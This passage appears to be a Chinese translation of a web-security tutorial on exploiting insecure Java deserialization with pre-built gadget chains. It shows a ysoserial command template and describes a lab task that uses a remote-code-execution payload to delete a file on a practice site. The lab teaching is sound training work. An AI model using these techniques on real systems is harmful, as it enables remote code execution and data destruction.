手动识别小工具链可能是一个相当艰巨的过程,而且在没有源代码访问权限的情况下几乎是不可能的。幸运的是,有几种使用预建小工具链的方法可以先试试。

有几种工具可以提供一系列预先发现的链,这些链已在其他网站上被成功利用。即使您没有访问源代码的权限,也可以使用这些工具来识别和利用不安全的反序列化漏洞,所需的工作量相对较小。之所以能采用这种方法,是因为广泛使用了包含可利用小工具链的库。例如,如果 Java 的 Apache Commons Collections 库中的小工具链可以在一个网站上被利用,那么任何其他实现该库的网站也可以使用相同的小工具链进行利用。

ysoserial

ysoserial "就是这样一个 Java 反序列化工具。它可以让你从提供的小工具链中选择一个你认为目标应用程序正在使用的库,然后传入你想执行的命令。然后,它会根据所选链创建一个合适的序列化对象。这仍然需要一定的尝试和错误,但比手动构建自己的小工具链要省力得多。

Note
在 Java 16 及以上版本中,您需要设置一系列命令行参数,以便 Java 运行 ysoserial。例如

1
2
3
4
5
6
java -jar ysoserial-all.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
[payload] '[command]'

Lab:使用Apache Commons利用Java 反序列化

本实验室使用基于序列化的会话机制,并加载 Apache Commons Collections 库。虽然您没有源代码访问权限,但仍可使用预构建的小工具链来利用本实验室。

要解决该实验室问题,请使用第三方工具生成一个包含远程代码执行有效载荷的恶意序列化对象。然后,将此对象传入网站,删除卡洛斯主目录中的 morale.txt 文件。

本文参考: